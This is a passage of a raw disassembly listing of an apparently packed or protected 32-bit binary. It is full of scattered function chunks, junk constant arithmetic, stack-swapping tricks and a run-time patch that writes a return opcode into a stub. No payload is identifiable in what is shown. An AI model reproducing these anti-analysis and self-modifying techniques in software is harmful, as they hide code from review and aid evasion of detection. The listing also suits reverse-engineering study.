sub_10016B29 ; --------------------------------------------------------------------------- loc_10018397: ; CODE XREF: an.kk9rg:10015CF8j jmp loc_10019780 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016B92 loc_1001839C: ; CODE XREF: sub_10016B92:loc_10016B69j call sub_1001DECE loc_100183A1: ; CODE XREF: sub_10019E2E+3396j mov ds:dword_1001B728, eax loc_100183A6: ; CODE XREF: sub_1001B935:loc_10014724j ; sub_1001B943+C9Dj ... mov eax, ds:dword_1001B728 call sub_100174F4 mov esp, ebp jmp loc_1001ABA4 ; END OF FUNCTION CHUNK FOR sub_10016B92 ; =============== S U B R O U T I N E ======================================= sub_100183B7 proc near ; CODE XREF: sub_100183B7-691p ; an.kk9rg:1001B674j arg_14 = dword ptr 18h ; FUNCTION CHUNK AT 10017D22 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 1001AB05 SIZE 0000001A BYTES xchg edi, [esp+0] pop edi pop ebp call sub_10015469 loc_100183C1: ; CODE XREF: sub_1001BAEE+1j jmp loc_10017D22 sub_100183B7 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_100183C6: ; CODE XREF: an.kk9rg:1001935Dj jmp loc_10018FAD ; --------------------------------------------------------------------------- loc_100183CB: ; CODE XREF: an.kk9rg:10018D05j jmp locret_10016B7B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001456F loc_100183D0: ; CODE XREF: sub_1001456F+2883j xchg ecx, [edi] test ebp, ebx jmp loc_1001C8AB ; END OF FUNCTION CHUNK FOR sub_1001456F ; =============== S U B R O U T I N E ======================================= sub_100183D9 proc near ; DATA XREF: an.kk9rg:100147D1o ; FUNCTION CHUNK AT 1001CEF9 SIZE 00000005 BYTES mov ds:dword_10002008, eax lea eax, nullsub_199 mov byte ptr [eax], 0C3h jmp loc_1001CEF9 sub_100183D9 endp ; --------------------------------------------------------------------------- call nullsub_8 jmp loc_10017DB8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019E2E loc_100183F7: ; CODE XREF: sub_10019E2E:loc_10014001j sbb ebp, esi shr ecx, 0Ch cmp edx, 19D209Eh jmp loc_10014EFF ; END OF FUNCTION CHUNK FOR sub_10019E2E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001BC80 loc_10018407: ; CODE XREF: sub_1001BC80+D12j cmp byte ptr [eax], 0 jnz loc_1001B1C3 jmp loc_100144CA ; END OF FUNCTION CHUNK FOR sub_1001BC80 ; --------------------------------------------------------------------------- loc_10018415: ; CODE XREF: an.kk9rg:1001C3A9j jnz loc_100165F5 jmp loc_10018C3B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015B5D loc_10018420: ; CODE XREF: sub_10015B5D:loc_1001C675j jz loc_1001AA3D push ebp mov eax, [ebp-20h] call sub_1001B2E2 loc_1001842F: ; CODE XREF: sub_1001898D+9j mov edi, ecx pop ecx mov eax, ds:dword_1001D740 or eax, eax jnz loc_10016313 jmp loc_1001CC02 ; END OF FUNCTION CHUNK FOR sub_10015B5D ; --------------------------------------------------------------------------- loc_10018445: ; DATA XREF: sub_10014C0D+1347o mov esp, ebp pop ebp push offset sub_10014CDF jmp loc_1001D6D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018066 loc_10018452: ; CODE XREF: sub_10018066:loc_10015EF7j push offset loc_1001AD71 jmp nullsub_152 ; END OF FUNCTION CHUNK FOR sub_10018066 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A97E loc_1001845C: ; CODE XREF: sub_1001A97E:loc_10019B75j add edx, ebp add edx, 6379C6FAh mov edx, [edx] imul byte ptr [edx] cmp al, 0A4h loc_1001846A: ; CODE XREF: sub_10017EFB:loc_10014C32j jz loc_1001D684 jmp loc_10019639 ; END OF FUNCTION CHUNK FOR sub_1001A97E ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_198. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_10018476: ; CODE XREF: sub_1001AAAA+9j jmp loc_1001355B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001767A loc_1001847B: ; CODE XREF: sub_1001767A+Ej jmp loc_100170F1 ; END OF FUNCTION CHUNK FOR sub_1001767A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_10018480: ; CODE XREF: sub_10016D66+1937j jl loc_1001A0B9 and ecx, edx jmp loc_10018DD3 ; END OF FUNCTION CHUNK FOR sub_10016D66 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_167. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D6A6 loc_1001848E: ; CODE XREF: sub_1001D6A6+18j jmp nullsub_165 ; END OF FUNCTION CHUNK FOR sub_1001D6A6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001ACEF loc_10018493: ; CODE XREF: sub_1001ACEF+Cj jmp loc_10017DE3 ; END OF FUNCTION CHUNK FOR sub_1001ACEF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019E2E loc_10018498: ; CODE XREF: sub_10019E2E-6BBFj jmp loc_1001816E ; END OF FUNCTION CHUNK FOR sub_10019E2E ; --------------------------------------------------------------------------- loc_1001849D: ; DATA XREF: sub_10018E79-723o imul byte ptr [edx] push offset loc_1001D580 jmp loc_10014DC3 ; =============== S U B R O U T I N E ======================================= sub_100184A9 proc near ; CODE XREF: an.kk9rg:10015FAFj ; an.kk9rg:1001AFEFp xchg ebx, [esp+0] pop ebx add edx, 0AC8E071Eh push ecx push 6EDF9192h pop ecx and ecx, 52DCE8A3h add ecx, 0CD25469Ch jmp loc_10013952 sub_100184A9 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_100184CB: ; CODE XREF: sub_10013389+9EC3j jnz loc_1001D35C loc_100184D1: ; CODE XREF: sub_10013389+65B0j jmp nullsub_51 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- loc_100184D6: ; CODE XREF: an.kk9rg:loc_1001C2F3j add edx, ecx jmp loc_1001D358 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018E79 loc_100184DD: ; CODE XREF: sub_10018E79:loc_10017AC2j test eax, 3AB41153h jmp loc_1001B565 ; END OF FUNCTION CHUNK FOR sub_10018E79 ; --------------------------------------------------------------------------- test ebp, 17DA80D8h jmp loc_100189D1 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_44. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100130C7 loc_100184F4: ; CODE XREF: sub_100130C7:loc_100161D7j mov eax, [ebp-0Ch] cmp byte ptr [eax], 0 jnz loc_1001774E loc_10018500: ; CODE XREF: an.kk9rg:10016CD4j mov eax, [ebp-8] shl eax, 3 jmp loc_10019720 ; END OF FUNCTION CHUNK FOR sub_100130C7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015066 loc_1001850B: ; CODE XREF: sub_10015066+3AD4j and esi, edx loc_1001850D: ; CODE XREF: sub_10015066:loc_10018B2Cj xor eax, 0AE45DA80h jns loc_1001580D ; END OF FUNCTION CHUNK FOR sub_10015066 ; START OF FUNCTION CHUNK FOR sub_1001620D loc_10018519: ; CODE XREF: sub_1001620D+5EC9j jmp nullsub_88 ; END OF FUNCTION CHUNK FOR sub_1001620D ; --------------------------------------------------------------------------- rol eax, 11h xchg esi, eax add esi, 1B02E10Eh jmp loc_1001580D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018066 loc_1001852E: ; CODE XREF: sub_10018066:loc_100198A7j add eax, edi pop edi pushf push edi push 0B836DD63h sbb edi, ebx jmp loc_1001CAC7 ; END OF FUNCTION CHUNK FOR sub_10018066 ; =============== S U B R O U T I N E ======================================= sub_1001853F proc near ; DATA XREF: sub_100193F2+2056o ; FUNCTION CHUNK AT 10017E81 SIZE 00000009 BYTES jnz loc_10017338 mov eax, [ebp-4] cmp byte ptr [eax], 0E8h jnz loc_100139BC jmp loc_10017E81 sub_1001853F endp ; --------------------------------------------------------------------------- loc_10018556: ; CODE XREF: an.kk9rg:loc_100132ECj pop eax rol eax, 9 and eax, ds:100000C8h jnz loc_100153CA ; START OF FUNCTION CHUNK FOR sub_1001DCDB loc_10018566: ; CODE XREF: sub_1001DCDB+6j jmp nullsub_171 ; END OF FUNCTION CHUNK FOR sub_1001DCDB ; --------------------------------------------------------------------------- js loc_1001884C cmp ecx, edi jmp loc_1001705C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C2D8 loc_10018578: ; CODE XREF: sub_1001C2D8:loc_1001BACEj jz loc_1001ABF0 jmp loc_10018656 ; END OF FUNCTION CHUNK FOR sub_1001C2D8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017394 loc_10018583: ; CODE XREF: sub_10017394+728j sub esi, 7AC954FEh loc_10018589: ; CODE XREF: sub_10017394+717j add edx, 0EE315D8h xor edx, 0F5EEC9C8h sub edx, 0FA86D865h jns loc_1001DE14 adc edx, eax jmp loc_1001503C ; END OF FUNCTION CHUNK FOR sub_10017394 ; --------------------------------------------------------------------------- loc_100185A8: ; CODE XREF: an.kk9rg:100195C7j jns loc_1001CF9C push edx mov ebp, edx popf jmp loc_10016EFF ; --------------------------------------------------------------------------- sbb ebp, ecx jmp loc_1001C2D5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C2D8 loc_100185BE: ; CODE XREF: sub_1001C2D8+Ej jnz loc_10015E6E jmp loc_10014595 ; END OF FUNCTION CHUNK FOR sub_1001C2D8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100175DE loc_100185C9: ; CODE XREF: sub_100175DE+1D24j jz loc_1001468E jmp loc_1001CF9C ; END OF FUNCTION CHUNK FOR sub_100175DE ; =============== S U B R O U T I N E ======================================= sub_100185D4 proc near ; CODE XREF: sub_1001C67F:loc_1001B11Aj ; FUNCTION CHUNK AT 1001629E SIZE 0000000F BYTES push ebp or esi, edi jmp loc_1001629E sub_100185D4 endp ; --------------------------------------------------------------------------- dword_100185DC dd 7166F77Eh ; DATA XREF: sub_10013999+Ar ; sub_100159A8+7w ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C799 loc_100185E0: ; CODE XREF: sub_10018FE5+9j jmp loc_10015EAD ; END OF FUNCTION CHUNK FOR sub_1001C799 ; --------------------------------------------------------------------------- loc_100185E5: ; CODE XREF: an.kk9rg:10014753j jmp loc_1001A1CE ; --------------------------------------------------------------------------- dw 0FB5Fh dword_100185EC dd 1BBF39B5h ; DATA XREF: an.kk9rg:1001460Bw ; sub_10014E66+Ar ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019FDC loc_100185F0: ; CODE XREF: sub_10019FDC+19j jmp loc_100187C3 ; END OF FUNCTION CHUNK FOR sub_10019FDC ; --------------------------------------------------------------------------- db 0B2h, 0EEh, 8Eh dword_100185F8 dd 0F04477E7h ; DATA XREF: an.kk9rg:loc_1001D6C3w ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_100185FC: ; CODE XREF: sub_10013389+A3DEj jmp loc_1001735F ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001AA64 loc_10018601: ; CODE XREF: sub_1001AA64+Bj jmp nullsub_65 ; END OF FUNCTION CHUNK FOR sub_1001AA64 ; --------------------------------------------------------------------------- dw 0BED3h dword_10018608 dd 0 ; DATA XREF: sub_10013061:loc_10017492r ; sub_1001A54C:loc_10017ECAr ... ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019473 loc_1001860C: ; CODE XREF: sub_10019473+44D9j jmp loc_1001A9EA ; END OF FUNCTION CHUNK FOR sub_10019473 ; --------------------------------------------------------------------------- db 8Dh, 0E7h, 0ADh dword_10018614 dd 0 ; DATA XREF: sub_10017394-2E6Ew ; sub_10016451+3r ... ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B9C1 loc_10018618: ; CODE XREF: sub_1001B9C1+Fj jmp loc_1001D4B2 ; END OF FUNCTION CHUNK FOR sub_1001B9C1 ; --------------------------------------------------------------------------- loc_1001861D: ; CODE XREF: an.kk9rg:1001C90Cj jnz loc_10016521 jmp loc_1001C1F4 ; =============== S U B R O U T I N E ======================================= sub_10018628 proc near ; CODE XREF: an.kk9rg:loc_10014083p ; an.kk9rg:10014623j arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 10014E08 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10015348 SIZE 00000005 BYTES xchg edi, [esp+0] pop edi add eax, [esp-4+arg_0] adc edx, [esp-4+arg_4] add esp, 8 mov eax, [eax] add eax, [ebp-4] jmp loc_10015348 sub_10018628 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_10018640: ; CODE XREF: an.kk9rg:10015AEDj add eax, 489A73BEh mov eax, [eax] cmp byte ptr [eax], 0F1h jnz loc_100169A6 jmp loc_100196F8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C2D8 loc_10018656: ; CODE XREF: sub_1001C2D8-3D5Aj sub edi, 0E0C4F4C1h shl edx, 0Dh jmp loc_1001ABF0 ; END OF FUNCTION CHUNK FOR sub_1001C2D8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016167 loc_10018664: ; CODE XREF: sub_10016167:loc_100146E3j jnz loc_10019D58 jmp loc_10016070 ; END OF FUNCTION CHUNK FOR sub_10016167 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015988 loc_1001866F: ; CODE XREF: sub_10015988+1A89j pop esi shl eax, 1Bh loc_10018673: ; CODE XREF: sub_10015988:loc_1001D1D0j mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_10019C7F jmp loc_1001B8FE ; END OF FUNCTION CHUNK FOR sub_10015988 ; --------------------------------------------------------------------------- or eax, 0D7327A58h jmp loc_10014988 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_1001868F: ; CODE XREF: sub_10016D66-2659j jno loc_1001B4AC jle loc_100132C5 cmp eax, ebp jmp loc_10018480 ; END OF FUNCTION CHUNK FOR sub_10016D66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016451 loc_100186A2: ; CODE XREF: sub_10016451+502j jbe loc_10014616 loc_100186A8: ; CODE XREF: sub_10016451:loc_10017FCAj call sub_100180C2 push 7F76D62Ch pop edx rol edx, 2 loc_100186B6: ; CODE XREF: an.kk9rg:10016287j add edx, 7F5DBDBBh xor edx, 0AA4500FAh add edx, 37F9B3DAh ; END OF FUNCTION CHUNK FOR sub_10016451 ; START OF FUNCTION CHUNK FOR sub_10013389 loc_100186C8: ; CODE XREF: sub_10013389:loc_100165C9j jmp loc_10017FAD ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015086 loc_100186CD: ; CODE XREF: sub_10015086+1255j add [ebp-8], eax call sub_10015DDC ; END OF FUNCTION CHUNK FOR sub_10015086 ; START OF FUNCTION CHUNK FOR sub_10019409 loc_100186D5: ; CODE XREF: sub_10019409+15j jmp loc_10015ED0 ; END OF FUNCTION CHUNK FOR sub_10019409 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015B5D loc_100186DA: ; CODE XREF: sub_10015B5D-12DDj jmp loc_1001A202 ; END OF FUNCTION CHUNK FOR sub_10015B5D ; =============== S U B R O U T I N E ======================================= sub_100186DF proc near ; DATA XREF: sub_1001D50B:loc_1001361Eo ; FUNCTION CHUNK AT 1001720C SIZE 00000005 BYTES add esi, 65E96EF3h xchg esi, [esp+0] jmp loc_1001720C sub_100186DF endp ; --------------------------------------------------------------------------- loc_100186ED: ; CODE XREF: an.kk9rg:10016BD2j jbe loc_10015FCE mov [eax], ebp ror edi, 1Dh loc_100186F8: ; CODE XREF: an.kk9rg:loc_1001B10Fj add ecx, 0A021F916h xchg ecx, [esp] jmp sub_10019A95 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017A58 loc_10018706: ; CODE XREF: sub_10017A58:loc_100181DCj jnz loc_10018849 jmp loc_1001AA7A ; END OF FUNCTION CHUNK FOR sub_10017A58 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015BFC loc_10018711: ; CODE XREF: sub_10015BFC+1DFEj ; sub_10015066+3ACEj jb loc_1001349B loc_10018717: ; CODE XREF: sub_10015BFC:loc_1001A4FBj push edx push 0D83BD849h pop edx and edx, 36A9C15Bh test edx, 1000000h jmp loc_1001CB88 ; END OF FUNCTION CHUNK FOR sub_10015BFC ; --------------------------------------------------------------------------- cmp ecx, 0DE706844h jmp loc_1001631B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100180C2 loc_1001873A: ; CODE XREF: sub_100180C2:loc_10019CE9j or edx, 7D093E52h and edx, 1596DE5Dh test edx, 10000000h jmp loc_10016E27 ; END OF FUNCTION CHUNK FOR sub_100180C2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018E79 loc_10018751: ; CODE XREF: sub_10018E79+4j sub al, 99h mov edx, [ebp-4] push offset loc_1001849D jmp nullsub_40 ; END OF FUNCTION CHUNK FOR sub_10018E79 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015C77 loc_10018760: ; CODE XREF: sub_10015C77+19j jnz loc_10016491 jmp loc_1001983D ; END OF FUNCTION CHUNK FOR sub_10015C77 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_1001876B: ; CODE XREF: sub_10016D66+2079j jz loc_1001C4A4 jmp loc_1001B104 ; END OF FUNCTION CHUNK FOR sub_10016D66 ; =============== S U B R O U T I N E ======================================= sub_10018776 proc near ; CODE XREF: an.kk9rg:loc_1001705Cj ; an.kk9rg:1001AC6Ej ... xchg ecx, [esp+0] pop ecx push ebp mov ebp, esp call sub_1001DAA8 loc_10018782: ; CODE XREF: an.kk9rg:10017793j jmp loc_1001346C sub_10018776 endp ; --------------------------------------------------------------------------- loc_10018787: ; CODE XREF: an.kk9rg:loc_10019A18j popf push 2863962h jmp loc_100161F4 ; --------------------------------------------------------------------------- loc_10018792: ; CODE XREF: an.kk9rg:1001D1FCj js loc_1001557C ; =============== S U B R O U T I N E ======================================= sub_10018798 proc near ; CODE XREF: sub_1001504E+9p ; FUNCTION CHUNK AT 10016635 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 1001771D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001939E SIZE 00000008 BYTES ; FUNCTION CHUNK AT 1001C5B9 SIZE 00000005 BYTES xchg eax, [esp+0] pop eax imul byte ptr [edx] cmp al, 0A4h jz loc_10014345 jmp loc_1001771D sub_10018798 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_128. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015276 loc_100187AC: ; CODE XREF: sub_10015276+891Ej jmp loc_10019958 ; END OF FUNCTION CHUNK FOR sub_10015276 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001DB5F loc_100187B1: ; CODE XREF: sub_1001DB5F+Aj jmp loc_10015905 ; END OF FUNCTION CHUNK FOR sub_1001DB5F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001BB72 loc_100187B6: ; CODE XREF: sub_1001BB72+Aj jmp loc_1001744F ; END OF FUNCTION CHUNK FOR sub_1001BB72 ; --------------------------------------------------------------------------- loc_100187BB: ; DATA XREF: sub_1001C799-7F3Eo xchg edi, [esp] jmp sub_100181E1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019FDC loc_100187C3: ; CODE XREF: sub_10019FDC:loc_100185F0j add eax, ebp add eax, 578996F9h mov eax, [eax] push ebx mov ebx, eax xchg ebx, [esp+4+var_4] jmp loc_100139C7 ; END OF FUNCTION CHUNK FOR sub_10019FDC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A97E loc_100187D8: ; CODE XREF: sub_1001A97E-47ACj test edx, ebx jmp loc_1001D4BC ; END OF FUNCTION CHUNK FOR sub_1001A97E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_100187DF: ; CODE XREF: sub_10013389:loc_1001349Bj shr edx, 0Ch sub edx, ecx jmp loc_1001C699 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- push 9EF76119h pop edx rol edx, 0Eh add edx, 0F6F694CCh xor edx, 3D846690h jmp loc_1001B78A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B5A3 loc_10018803: ; CODE XREF: sub_1001B5A3:loc_1001B5B6j or eax, eax jnz loc_1001B2BF jmp loc_1001420B ; END OF FUNCTION CHUNK FOR sub_1001B5A3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C28F loc_10018810: ; CODE XREF: sub_1001C28F:loc_1001D494j sub ebx, 0CC5BF436h add ebx, 0CC1E7910h xchg ebx, [esp+0] push eax jmp loc_10018D15 ; END OF FUNCTION CHUNK FOR sub_1001C28F ; --------------------------------------------------------------------------- xchg ebp, [esp] ; START OF FUNCTION CHUNK FOR sub_100142E8 loc_10018828: ; CODE XREF: sub_100142E8+63FCj mov edx, ebp pop ebp call sub_10017217 loc_10018830: ; CODE XREF: sub_10018CA1+44EAj call sub_1001B935 loc_10018835: ; CODE XREF: sub_10015B5D-29ECj jmp loc_1001ABBF ; END OF FUNCTION CHUNK FOR sub_100142E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017A58 loc_1001883A: ; CODE XREF: sub_10017A58-2776j jnp loc_100130A8 pop edx pushf cdq jnz loc_100157F8 loc_10018849: ; CODE XREF: sub_10017A58:loc_10018706j mov eax, [ebp-4] loc_1001884C: ; CODE XREF: an.kk9rg:1001856Bj jmp loc_1001D5D7 ; END OF FUNCTION CHUNK FOR sub_10017A58 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100136D7 loc_10018851: ; CODE XREF: sub_100136D7+8113j ; an.kk9rg:1001BC0Fj jnz loc_10017F65 jmp loc_10016294 ; END OF FUNCTION CHUNK FOR sub_100136D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014317 loc_1001885C: ; CODE XREF: sub_10014317+1j push ecx loc_1001885D: ; CODE XREF: an.kk9rg:10017527j call sub_1001D37F mov esp, [esp+4+arg_0] loc_10018866: ; CODE XREF: sub_10017A34+2j ; sub_10017A34+Ej ... call sub_10018D62 ; END OF FUNCTION CHUNK FOR sub_10014317 ; =============== S U B R O U T I N E ======================================= sub_1001886B proc near ; CODE XREF: an.kk9rg:100197F9p ; an.kk9rg:1001DCB3j xchg ebx, [esp+0] pop ebx push 0 push edi push 60035148h jmp loc_1001B4B4 sub_1001886B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001603C loc_1001887C: ; CODE XREF: sub_1001603C+Fj or eax, 78EF5364h sub eax, 0DFC71961h xor eax, 46D6A07Ah push ebx push 279C0835h pop ebx jmp loc_100159B6 ; END OF FUNCTION CHUNK FOR sub_1001603C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015C14 loc_1001889A: ; CODE XREF: sub_10015C14:loc_1001AD50j push ecx call sub_10016D66 ; END OF FUNCTION CHUNK FOR sub_10015C14 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_196. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- add al, 24h mov edx, eax pop eax js loc_1001CF37 mov eax, [esp] push edx call sub_10014DD9 jmp loc_10018269 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100142E8 loc_100188BA: ; CODE XREF: sub_100142E8-BB0j push esi pop ebp loc_100188BC: ; CODE XREF: an.kk9rg:loc_100144D5j pop esi retn ; END OF FUNCTION CHUNK FOR sub_100142E8 ; =============== S U B R O U T I N E ======================================= sub_100188BE proc near ; CODE XREF: an.kk9rg:10017D6Bp ; sub_1001B19B:loc_10018A46p push eax mov eax, ebp call sub_1001C185 sub_100188BE endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_1001ABFD loc_100188C6: ; CODE XREF: sub_1001ABFD-14EEj jmp nullsub_158 ; END OF FUNCTION CHUNK FOR sub_1001ABFD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_100188CB: ; CODE XREF: sub_10013389:loc_10019367j jmp loc_1001CBCF ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019571 loc_100188D0: ; CODE XREF: sub_10019571-1903j jmp loc_1001972A ; END OF FUNCTION CHUNK FOR sub_10019571 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015086 loc_100188D5: ; CODE XREF: sub_10015086-1514j jmp loc_10018086 ; END OF FUNCTION CHUNK FOR sub_10015086 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100193F2 loc_100188DA: ; CODE XREF: sub_100193F2+2F43j popf jmp loc_1001CAE7 ; END OF FUNCTION CHUNK FOR sub_100193F2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001BB72 loc_100188E0: ; CODE XREF: sub_1001BB72-5FB7j sub al, 99h push 0C87DC4Dh pop edx jmp loc_1001CDB8 ; END OF FUNCTION CHUNK FOR sub_1001BB72 ; --------------------------------------------------------------------------- loc_100188ED: ; CODE XREF: an.kk9rg:100177FAj cdq ; =============== S U B R O U T I N E ======================================= sub_100188EE proc near ; CODE XREF: sub_1001C2A9:loc_1001B178p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 10014222 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 10014413 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100146A1 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 1001678E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10017850 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 10018B0F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10018FF3 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 10019609 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001A506 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 1001A909 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 1001B498 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001C2C4 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 1001CAE1 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 1001D2CA SIZE 0000000B BYTES xchg esi, [esp+0] pop esi cmp dword ptr [eax+3Ch], 0 jz loc_1001B00C jmp loc_1001678E sub_100188EE endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_10018901 proc near ; DATA XREF: sub_10013389+817Do ; FUNCTION CHUNK AT 100166A4 SIZE 00000005 BYTES cmp byte ptr [eax], 0 jnz loc_10013573 mov eax, [ebp-8] mov byte ptr [eax], 0 loc_10018910: ; CODE XREF: sub_1001C758:loc_10019C2Ej jmp loc_100166A4 sub_10018901 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100193F2 loc_10018915: ; CODE XREF: sub_100193F2:loc_1001CA86j jmp loc_10015BC1 ; --------------------------------------------------------------------------- loc_1001891A: ; CODE XREF: sub_100193F2+340Dj ; sub_100193F2+341Bj jb loc_1001A1C6 mov eax, [ebp-4] call sub_1001B9C1 test al, al call sub_1001679F loc_1001892F: ; CODE XREF: sub_1001D37F+2FAj jmp loc_10014AF4 ; END OF FUNCTION CHUNK FOR sub_100193F2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100174F4 loc_10018934: ; CODE XREF: sub_100174F4+2EC5j jmp sub_100180C2 ; END OF FUNCTION CHUNK FOR sub_100174F4 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_161. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016451 loc_1001893A: ; CODE XREF: sub_10016451+1B7Fj jmp loc_1001694A ; END OF FUNCTION CHUNK FOR sub_10016451 ; =============== S U B R O U T I N E ======================================= sub_1001893F proc near ; CODE XREF: an.kk9rg:1001613Dp ; an.kk9rg:1001DD10j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 10013614 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10013AF7 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 100143B7 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 10014EF1 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 100156A4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10015A02 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 10016979 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10016BE8 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 